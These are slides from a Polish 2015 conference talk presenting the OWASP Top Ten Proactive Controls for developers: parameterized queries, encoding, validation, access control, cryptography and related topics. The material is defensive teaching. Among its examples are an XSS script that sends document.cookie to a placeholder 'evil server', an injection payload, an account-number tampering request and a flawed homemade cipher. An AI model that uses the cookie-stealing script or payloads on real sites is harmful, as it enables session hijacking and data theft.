Wykład z konferencji 4Developers 2015. OWASP - Open Web Applications Security Project to fundacja non-profit której celem jest eliminacja problemów bezpieczeństwa aplikacji. W trakcie wykładu przedstawie krótko OWASP Top 10 w wydaniu dla programistów, czyli "Top 10 Proactive Controls" a więc najważniejsze zalecenia pozwalające na uniknięcie kluczowych błędów bezpieczeństwa.

1. 10 przykazań bezpiecznego
programowania
OWASP Top Ten Proactive Controls
Wojciech Dworakowski, SecuRing
OWASP Poland Chapter Leader

2. Wojtek Dworakowski
@wojdwo
CEO (od 2003)
Testowanie i doradztwo w zakresie
bezpieczeństwa aplikacji i systemów IT
OWASP Poland
Chapter Leader (od 2011)

3. OWASP
O = Open
• Materiały i narzędzia
– za darmo
– licencje Creative Commons
– open source
• Tworzone na zasadach otwartej współpracy
– każdy może przyłączyć się
3

4. OWASP Poland Chapter
• Od 2007
• Spotkania: Kraków, Poznań, Warszawa
• Wstęp wolny
• Wspierają nas:

5. Ankieta na 4Developers 2014*
* Badanie SecuRing „Praktyki wytwarzania bezpiecznego oprogramowania w
polskich firmach – 2014”
• 62% firm nie edukuje programistów w zakresie
bezpieczeństwa aplikacji
• >50% firm nie uwzględnia bezpieczeństwa na etapie
projektowania
• 73% pytanych potwierdziło, że wprowadzało
poprawki wynikające z testów bezpieczeństwa
• Tylko 42% potwierdziło że przed wdrożeniem
wykonują testy bezpieczeństwa

6. OWASP Top10 Risk vs
OWASP Top10 Proactive Controls

7. Disclaimer
• Nie można opierać bezpieczeństwa aplikacji
tylko na podstawie Top 10
– To materiał edukacyjny
– Każda aplikacja ma swój specyficzny profil ryzyka

8. 1: Parameterize Queries

9. SQL/LDAP/XML/cmd/…-injection
Łatwe do wykorzystania
• proste w użyciu narzędzia automatyzujące atak
Znaczne skutki ataku
Źródło: http://xkcd.com/327/

10. Dobre praktyki
#1 Zapytania parametryzowane
– Prepared Statements / Parametrized Queries
#2 Stored Procedures
– Uwaga na wyjątki! (eval, blok dynamiczny, etc.)
#3 Escaping
– ryzykowne!
String newName = request.getParameter("newName");
String id = request.getParameter("id");
PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES
SET NAME = ? WHERE ID = ?");
pstmt.setString(1, newName);
pstmt.setString(2, id);

11. Narzędzia i materiały
• Bobby Tables: A guide to preventing SQL
injection
• Query Parameterization Cheat Sheet
• SQL Injection Prevention Cheat Sheet
• OWASP Secure Coding Practices Quick
Reference Guide

12. 2: Encode Data

13. XSS
• Zmiana treści strony
• Przechwycenie sesji
<script>document.body.innerHTML(“Jim was here”);</script>
<script>
var img = new Image();
img.src="http://<some evil server>.com?” + document.cookie;
</script>

14. Skutki braku kodowania znaków
specjalnych
• Session hijacking
• Network scanning
• Obejście zabezpieczeń przed CSRF
• Zmiana zawartości strony (w przeglądarce)
• …
• Przejęcie kontroli nad przeglądarką
– vide BeEF

15. Historia pewnej aplikacji

18. Cross Site Scripting
Ale często wklejenie bezpośrednio w kontekst
javascript:
<script> var split='<bean:write name="transferFormId"
property="trn_recipient">'; splitRecipient(split); </script>
trn_recipient=';alert('xss');--
<script> var split='';alert('xss');--

19. Dobre praktyki
• Kodowanie znaków specjalnych odpowiednie
do kontekstu użycia
– element HTML
– Atrybut HTML
– JavaScript
– JSON
– CSS / style
– URL

20. Narzędzia i materiały
• XSS (Cross Site Scripting) Prevention Cheat
Sheet
• Java Encoder Project
• Microsoft .NET AntiXSS Library
• OWASP ESAPI
• Encoder Comparison Reference Project

21. 3: Validate All Inputs

22. Po co walidacja?
• Większość innych podatności (np. injection,
xss, …) wynika (również) z braku walidacji
• Walidacja jest jak firewall
– Nie zabezpiecza przed wszystkim
– …ale dobrze ją mieć

23. Dobre praktyki
• Walidacja wg whitelisty a nie blacklisty,
• Typowanie pól
– najlepiej „systemowo” a nie per formularz.
– Porządkuje to bezpieczeństwo w wielu warstwach
– np. potem łatwo można użyć do reguł WAF
• Walidacja pierwszą linią obrony
– np. silne rzutowanie typów zapobiegnie injection,
– ale nie może być jedyną !

24. Narzędzia i materiały
• Input Validation Cheat Sheet
• Apache Commons Validator
• OWASP JSON Sanitizer Project
• OWASP Java HTML Sanitizer Project
• Google Caja

25. 4: Implement Appropriate
Access Controls

26. Historia rachunku

27. Żądanie HTTP po przechwyceniu
GET /services/history/account/85101022350445200448009906 HTTP/1.1
SA-DeviceId: 940109f08ba56a89
SA-SessionId: 826175
Accept: application/json
Host: acc
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
GET /services/history/account/45101022350445200448005388 HTTP/1.1
SA-DeviceId: 940109f08ba56a89
SA-SessionId: 826175
Accept: application/json
Host: acc
Connection: Keep-Alive
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)
Podmiana nr rachunku – uzyskujemy cudze dane

28. Dobre praktyki
• Decyzja po stronie serwera !
• Default deny
• Wszystkie żądania muszą przejść przez
kontrolę uprawnień
– scentralizowany, spójny mechanizm
• Zasady kontroli dostępu (policy) osobne od
kodu
– a nie jako część kodu

29. if (currentUser.hasRole(“administrator”)) {
//pozwol
} else {
//zabron
}
If (currentUser.isPermitted(printPermission)) {
//pozwol
} else {
//zabron
}

30. Narzędzia i materiały
• Access Control Cheat Sheet
• Java Authorization Guide with Apache Shiro
– Apache Shiro Authorization features
• OWASP PHPRBAC Project

31. 5: Establish Identity and
Authentication Controls

32. Przykład defektu
• Uwierzytelnienie kluczem lokalnie trzymanym
na komputerze
• Proces logowania:
1. podajemy login
2. wybieramy plik z kluczem, wprowadzamy hasło
do klucza
3. jesteśmy zalogowani
https://...../GenerateNewKey

33. Dobre praktyki
• Sprawdź prawa dostępu do funkcji
pozwalających na zmianę danych
uwierzytelniających
• Zasada „łańcucha zaufania”
• Uwaga na sesyjność „na granicy” !
• Nie limituj długości i znaków które można użyć
w haśle

34. Narzędzia i materiały
• Authentication Cheat Sheet
• Password Storage Cheat Sheet
• Forgot Password Cheat Sheet
• Session Management Cheat Sheet

35. 6: Protect Data and Privacy
at transit
at rest

36. Przykład defektu (at transit)
• SSL zapewnia szyfrowanie i autentyczność
• Co weryfikuje autentyczność serwera?
– Aplikacje przeglądarkowe: Przeglądarka
– Aplikacje mobilne / thick-client / embedded…:
Aplikacja
• Najczęstsze błędy
– Brak sprawdzenia certyfikatu lub „łańcucha zaufania”
– Brak obsługi wyjątku

37. Dobre praktyki (in transit)
• TLS
• Dla całości aplikacji
• Cookies: flaga „Secure”
• HTTP Strict Transport Security
• Zestawy silnych szyfrów
• Chain of trust
• Certificate pinning

38. Narzędzia i materiały (in transit)
• Transport Layer Protection Cheat Sheet
• Pinning Cheat Sheet
• OWASP O-Saft (SSL Audit for Testers)

39. Przykład defektu (at rest)
• Przechowywanie haseł
• „Własna” implementacja SHA1
public static String encrypt(byte [] in)
{
String out = "";
for(int i = 0; i < in.length; i++)
{
byte b = (byte)(in[i] ^ key[i%key.length]);
out += "" + hexDigit[(b & 0xf0)>>4] + hexDigit[b & 0x0f];
} return out;
}

40. Dobre praktyki (at rest)
• Nie próbuj wynaleźć koła !
– Własne szfry są ZŁE
– Własna implementacja crypto jest ZŁA
– Sprawdzone biblioteki
• Silne szyfry w silnych trybach
– ECB jest ZŁE
– CBC – uwaga na „padding oracle”
• Dobre źródło losowości dla IV

41. Narzędzia i materiały
• Google KeyCzar
• Cryptographic Storage Cheat Sheet
• Password Storage Cheat Sheet

42. 7: Implement Logging, Error
Handling and Intrusion
Detection

43. Narzędzia i materiały
• Logging Cheat Sheet
• OWASP AppSensor Project

44. 8: Leverage Security Features of
Frameworks and Security
Libraries

45. Narzędzia i materiały
• PHP Security Cheat Sheet
• .NET Security Cheat Sheet
• Spring Security
• Apache Shiro
• OWASP Dependency Check / Track

46. 9: Include Security-Specific
Requirements

47. Definiowanie wymagań
• Scenariusze ataku
– Jak zagrożenia mogą osiągnąć cele?
– Wymaga doświadczenia i wiedzy eksperckiej
• Dobranie zabezpieczeń == WYMAGANIA
Zagrożenia Skutki
Scenariusze
ataku
Kto? Jak? Co?

48. Narzędzia i materiały
• OWASP Application Security Verification
Standard Project
• Software Assurance Maturity Model
• Business Logic Security Cheat Sheet
• Testing for business logic (OWASP-BL-001)

49. 10: Design and Architect
Security In

50. Narzędzia i materiały
• Software Assurance Maturity Model
(OpenSAMM)
• Application Security Verification Standard
Project
• Application Security Architecture Cheat Sheet
• Attack Surface Analysis Cheat Sheet
• Threat Modeling Cheat Sheet

51. Podsumowanie

52. To tylko Top Ten !
• Każda aplikacja jest inna
– Trzeba zdefiniować profil ryzyka (KTO?, PO CO?)
– i uwzględnić „zgodność z przepisami”
• Kilka prostych kroków daje duże efekty
• Warto edukować programistów w zakresie
bezpieczeństwa

53. Spotkania OWASP
https://www.owasp.org/index.php/Poland
Lista mailingowa
Facebook: OWASP Poland Local Chapter
Twitter: @owasppoland

54. Dziękuję
Wojciech Dworakowski
@wojdwo
wojciech.dworakowski@securing.pl
http://www.securing.pl